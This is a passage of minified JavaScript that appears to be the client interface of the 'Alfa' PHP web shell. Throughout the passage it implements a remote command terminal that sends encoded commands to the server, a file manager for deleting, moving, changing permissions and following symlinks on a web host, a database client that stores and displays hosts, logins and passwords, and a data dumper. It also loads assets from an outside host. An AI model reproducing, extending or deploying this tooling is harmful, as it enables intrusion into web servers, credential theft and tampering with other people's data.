0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","/var/www/html/"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","/var/www/html/"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="/var/www/html/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder 